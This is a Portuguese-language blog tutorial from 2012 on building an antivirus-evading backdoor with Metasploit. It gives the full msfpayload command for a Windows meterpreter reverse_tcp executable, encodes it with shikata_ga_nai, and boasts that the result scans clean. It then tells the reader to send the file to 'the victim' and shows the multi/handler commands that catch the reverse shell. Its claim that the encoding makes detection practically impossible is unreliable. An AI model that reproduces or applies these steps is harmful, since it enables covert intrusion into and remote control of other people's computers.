quarta-feira, 2 de maio de 2012

Deixando um vírus indetectável com o msfencode

Nesse tutorial vou ensinar como deixar um virus indetectavel usando o msfencode.
Para sabermos onde o msfencode esta, usamos o comando msfencode -h
a localização muda do Backtrack para o Ubuntu no caso estou usando o ubuntu no tutorial
Com esse comando recebemos informações sobre o local onde está o msfencode (/usr/local/bin/)
antes de prosseguir você deve acessar o diretorio aonde está o msfencode 
Código :
cd usr/local/bin/  

além disso recebemos informações sobre o msfencode.
Código :
OPTIONS:

    -a <opt>  The architecture to encode as
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -c <opt>  The number of times to encode the data
    -d <opt>  Specify the directory in which to look for EXE templates
    -e <opt>  The encoder to use
    -h        Help banner
    -i <opt>  Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m <opt>  Specifies an additional module search path
    -n        Dump encoder information
    -o <opt>  The output file
    -p <opt>  The platform to encode for
    -s <opt>  The maximum size of the encoded data
    -t <opt>  The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war
    -v        Increase verbosity
    -x <opt>  Specify an alternate executable template  

Nosso próximo passo e saber quantos crypters existem e qual deles iremos utilizar,para isso vamos usar o comando:
Código :
msfencode -

Lembrando que a opção -l significa Lista dos crypters disponíveis

Pela imagem podemos perceber que existe um rank de qualidade (low,good,manual,great e excellent)
Irei utilizar o x86/shikata_ga_nai o único no rank como excelente.
O x86/shikata_ga_nai utiliza códigos polimórficos ,consiste em codigos que possuem condições
de se auto-modificar, gerando um novo codigo quando é executado,
desse modo é praticamente impossível algum anti-vírus detectar a prova é que se você passar o virus encriptado no famoso virus-total ele nunca irar detectar

Exemplo sem encriptação

Nesse exemplo irei criar um vírus sem usar o msfencode so para passarmos no virus-total
Não esqueça de usar os comandos abaixo como root 
Código :
su root

Lembrando que no BackTrack não e necessário isso

Lembre-se que em LHOST vc deve colocar seu ip ficando do seguinte modo LHOST=seu_ip
(o ip que vc quer que ira receber a conexão reversa) e em LPORT você deve colocar a porta que irar tentar se conectar LPORT=4444 ou LPORT=21 e assim em diante ...

Comando:
Código :
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X sem_crypter.exe  

Resultado:
Código :
root@mmxm-desktop:/usr/local/bin# msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X > sem_crypter.exe Created by msfpayload (http://www.metasploit.com). Payloadwindows/meterpreter/reverse_tcp
 Length
290
Options
: {"LPORT"=>"4444""LHOST"=>"127.0.0.1"}  


Pronto virus criado porem ele não está encryptado e será facilmente detectado pelos antivirus.

Link do scan no Virus-Total:

https://www.virustotal.com/file/3302...is/1334426858/

A maioria dos av's estão detectando só os da xuxa que não

Exemplo com encriptação

Neste exemplo vou usar um encoder para que o backdoor não seja detectado:

Usarei o seguinte comando:
Código :msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X msfencode -c 1 -e x86/shikata_ga_nai encryptado.exe  

A opção -c significa o número de vezes que será encodado (isso fica a critério) e a opção -e significa qual crypter será utilizado , como disse antes será o x86/shikata_ga_nai

resultado:
Código :
root@mmxm-desktop:/usr/local/bin# msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X | msfencode -c 1 -e x86/shikata_ga_nai > encryptado.exe Created by msfpayload (http://www.metasploit.com). Payloadwindows/meterpreter/reverse_tcp
 Length
290
Options
: {"LPORT"=>"4444""LHOST"=>"127.0.0.1"}[*] x86/shikata_ga_nai succeeded with size 73831 (iteration=1)  

Scan virus-total:

https://www.virustotal.com/file/ee61...is/1334428492/

100% clean 

Passando despercebido por grandes av's como Kaspersky,NOD32,McAfee,Avira,etc...

Lembrando o virus criado esta no mesmo diretorio onde está o msfencode (/usr/local/bin)

Agora depois de enviar o backdoor para a vitima iremos iniciar o metasploit:
Código :
msfconsole  

resultado:
Código :
root@mmxm-desktop:/usr/local/bin# msfconsole

%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


       =[ 
metasploit v4.3.0-dev [core:4.3 api:1.0]
+ -- --=[ 
821 exploits 461 auxiliary 141 post + -- --=[ 250 payloads 27 encoders 8 nops
       
=[ svn r15059 updated 10 days ago (2012.04.04)WarningThis copy of the Metasploit Framework was last updated 10 days ago.
         
We recommend that you update the framework at least every other day.
         For 
information on updating your copy of Metasploitplease see:
             
https://community.rapid7.com/docs/DOC-1306msf >  

Agora usamos os comandos:
Código :
msf > use exploit/multi/handler
msf exploit
(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD 
=> windows/meterpreter/reverse_tcp
msf exploit
(handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1
msf exploit
(handler) > set LPORT 4444 LPORT => 4444
msf exploit
(handler) > exploit [*] Started reverse handler on 127.0.0.1:4444 [*] Starting the payload handler  

Agora que você esta no sistema basta utilizar os comandos post-explotation para windows
ou então usar o armitage

Nenhum comentário:

Postar um comentário